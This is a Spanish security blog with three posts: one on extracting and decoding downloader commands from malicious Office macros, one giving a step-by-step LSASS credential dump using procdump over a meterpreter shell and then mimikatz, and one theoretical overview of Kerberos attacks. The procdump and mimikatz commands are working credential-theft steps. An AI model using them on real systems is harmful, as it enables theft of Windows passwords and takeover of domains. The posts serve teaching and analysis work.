jueves, 3 de octubre de 2019

Gracias Señor por el código que me diste!!!!!!!


Hoy y desde aquí quiero agradecer públicamente al siguiente código las horas tan interesantes que me ha dado.

Set of = createobject("scripting.filesystemobject")
Set at = of.opentextfile("CodigoMalware",8,true)
at.writeline <variable que contiene lo que queremos extraer>


Este código me ha permitido extraer muchas líneas de comando guardas en macros de documentos ofimáticos que funcionaban como downloaders.

Para muestra un botón…

En una muestra de esta misma mañana …

TRUCO: El archivo ha llegado a mis manos hoy, pero originalmente fue recepcionado el lunes día 30/09/2019. ¡La rapidez de los análisis es fundamental.! ;-))))

1.- Despliegue de código para extraer la información almacenada en la variable: SSLwwt, sobre el archivo: CodigoMalware


2.- Visualización del contenido del archivo



3.- Decodificación de la cadena en base64 usada por el comando en powershell.


4.- Obtención del script utilizado.

NOTA: Remarcado en amarillo tenemos la variable que contiene las distintas URLs que se consultarán para descargarse “algo”
 

Por desgracia NO SE HA PODIDO DESCARGAR EL MALWARE REAL


En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

PD: Por cierto, gran trabajo el de los chicos/as de las casas antivirus y demás analistas.





viernes, 6 de septiembre de 2019

Por el poder de procdump!!!!!!!!!


Un AV (antivirus) tuvo a culpa y eso me permitió conocer una manera de extraer el material de los sueños de un ordenador: la memoria RAM asociada al proceso LSASS, de una manera no habitual.

NOTA: Este proceso almacena en la memoria RAM asociada las contraseñas en claro de los usuarios de un ordenador basado en un sistema Windows. Muchas herramientas, lanzadas en local, permiten extraer esa información, como pueda ser: mimikatz o Empire mod HackPlayers.

Para la extracción del material de los sueños, necesitaremos la siguiente lista de ingredientes:

1.- Una pizca de Procdump (herramienta perteneciente a la tool: SysInternals)
2.- Mimikatz, pero ésta vez no lo utilizaremos en el ordenador remoto, si no en una máquina virtual bajo nuestro control
3.- Entorno generador de máquinas virtuales.

Comencemos con la receta:

1.- Tener una Shell remota con el ordenador al cuál queramos extraerle las credenciales de sus usuarios EN TEXTO CLARO.

NOTA: En este punto no puede ayudar, cada uno como pueda.

Vulnerabilidad encontrada en nuestro entorno de pruebas

Exploit preparado

Máquina vulnerada.

2.- Subir la ejecutable: Procdump.

Este ejecutable, es un ejecutable “legitimo” utilizado tanto en proceso de análisis forense como en procesos de administración de sistemas. Nos permite dumpear/clonar la memoria RAM y almacenarla en un archivo.

En nuestro entorno (Shell remota basada en meterpreter) se ha utilizado el comando: upload <archivo a subir> <ubicación en la máquina remota>

Archivo: procdump.exe subido al disco duro: C:

Archivo: procdump.exe, ubicado en la unidad C: del host vulnerado

3.- Dumpear la memoria asociada al proceso: lsass.exe

En este punto tenemos que tener en cuenta el entorno en donde nos encontramos.

Entorno
Comando
Sistema de 32 bits
Procdump.exe -accepteula –ma lsass.exe lsass.dump
Sistema de 64 bits
Procdump.exe -accepteula -64 –ma lsass.exe lsass.dump

Leyenda:

-accepeula         -> permite aceptar la licencia de Sysinternals por línea de comandos
-ma                       -> permite escribir un archivo con la memoria extraída
-64                         -> permite indicar que estamos en un entorno de 64 bits.

Proceso de dumpeo lanzado y completado


4.- Extraer el archivo anteriormente dumpeado del sistema “hackeado”, llevándolo al sistema que tenemos controlado



En nuestro entorno (Shell remota basada en meterpreter) se ha utilizado el comando: download <archivo ubicado en la máquina remota> <ubicación en la máquina local>



Descarga del archivo dumpeado

5.- Montar una máquina virtual con el mismo sistema operativo que el sistema del cual hemos extraído la memoria RAM

Resumiendo


Nuevo entorno

6.- Ejecutar mimikatz sobre el archivo que contiene la memoria RAM dumpeada.

Para lo cual:

                1.- Ejecutamos: mimikatz
                2.- Ejecutamos el comando: sekurlsa::mimidump <archivo dumpeado>
3.- Ejecutamos el comando: sekurlsa::logonPasswords full

Ejecución de mimikatz en otro entorno similar, en cuanto a sistema operativo, al que le hemos dumpeado la memoria

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

viernes, 9 de agosto de 2019

Resumiendo Kerberos - Ataques


En el anterior post se habló de manera resumida del protocolo Kerberos, y de los posibles ataques en función del paso donde nos encontráramos en los procesos de autenticación. Hoy se quiere profundizar un poco en esos ataques, eso sí de manera teórica.

Al final del post se mencionará un enlace hacía otro post, en donde al igual que aquí se habla de los ataques a Kerberos pero además se exponen herramientas y ejemplos.

Los ataques sobre el protocolo Kerberos son:

Overpass-the-Hash (OtH)/Pass-the-Key (PtK)

Como se comentó en el post anterior, este ataque se puede producir en el paso 1.1 (Validarse dentro de un dominio / Petición de autenticación entre el usuario y el controlador de dominio).

Este ataque consiste en enviar un hash NT local de un usuario del dominio al KDC (Key Domain Controller) con la intención de obtener un ticket TGT. A partir de ahí, ya podremos acceder a los recursos/servicio para los cuales el susodicho usuario del sistema, por el que nos hayamos hecho pasar, tuviera permisos.

Para conseguir el hash NT local tendremos que mirar los ficheros SAM de las estaciones de trabajo, el fichero NTDS.DIT ubicado en los DC (Domain Controller – Controladores de dominio), o la memoria del proceso Lsass (la famosa herramienta Mimikatz en basa en extraer los hashes de la memoria )

IMPORTANTE: Cuando un usuario normal se quiere validar en el dominio, entre la información que envía se encuentra un “timestamp”. Si dicho “timestamp” supera los 5 minutos de diferencia respecto del tiempo que tiene el servidor KDC, éste no enviará el ticket TGT al usuario, es decir, no se habrá validado correctamente.

Pass-the-Ticket (PtT)

Como se comentó en el post anterior, este ataque se puede producir en el paso 2.1 (Validarse contra un servicio/recurso interno del dominio / Solicitud del ticket TGS al controlador de dominio)

Este ataque consiste en, secuestrado un ticket TGT o TGS de un usuario, enviarlo para obtener en el primer caso, un ticket TGS o, en el segundo caso, acceso a un recurso o servicio.

IMPORTANTE:
1.- En este ataque no sólo es necesario tener el ticket, si que también es necesario obtener la clave de sesión TGT otorgada por el KDC, como la clave de sesión del servicio.
En cualquier caso, las claves de sesión se pueden encontrar en la memoria del sistema.

2.- Los tickets, por defecto, tienen una vida de 10 horas.

Para conseguir el ticket tendremos que mirar la memoria del proceso Lsass (la famosa herramienta Mimikatz puede ayudarnos)

Golden ticket

Como se comentó en el post anterior, este ataque se puede producir en el paso 1.2 (Validarse dentro de un dominio / Respuesta del controlador de dominio siempre y cuando la autenticación sea SATISFACTORIA), o en el paso 2.1 (Validarse contra un servicio/recurso interno del dominio / Solicitud del ticket TGS al controlador de dominio)

Este ataque se lleva a cabo tras extraer el hash NTLM de la cuenta: krbtgt, lo cual permite generar los tickets TGT que se desee. Es decir, se podrá tener el control del dominio.

Para conseguir el ticket tendremos que mirar la memoria del proceso Lsass (la famosa herramienta Mimikatz puede ayudarnos) o del fichero NTDIS.dit de cualquier controlador de dominio.

Silver ticket

Este ataque se lleva a cabo tras extraer el hash NTLM de la cuenta del propietario de un servicio, y permite generar los tickets TGS que se desee. Es decir, se podrá tener el control del servicio/recurso compartido.

ASREPRoast

Este ataque consiste en buscar usuarios que no requieren pre-autenticación de kerberos, por lo que cualquier usuario puede enviar un paquete AS_REP para solicitar un ticket TGT en su nombre.

Kerberoasting

Es una técnica que busca crackear las contraseñas débiles contenidas en los tickets TGT o TGS.

Los tickets TGT o TGS que pueden contener contraseñas débiles son los de los usuarios del dominio, ya que cualquier otra contraseña suelen contener 128 caracteres debido a que son generadas por un sistema.


NOTA FINAL: Hasta aquí los ataques sobre el protocolo Kerberos, y como lo prometido es deuda os paso el enlace comentado al principio: https://www.tarlogic.com/blog/como-atacar-kerberos/)

Por cierto, felicitar al autor del post por un trabajo excepcional

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.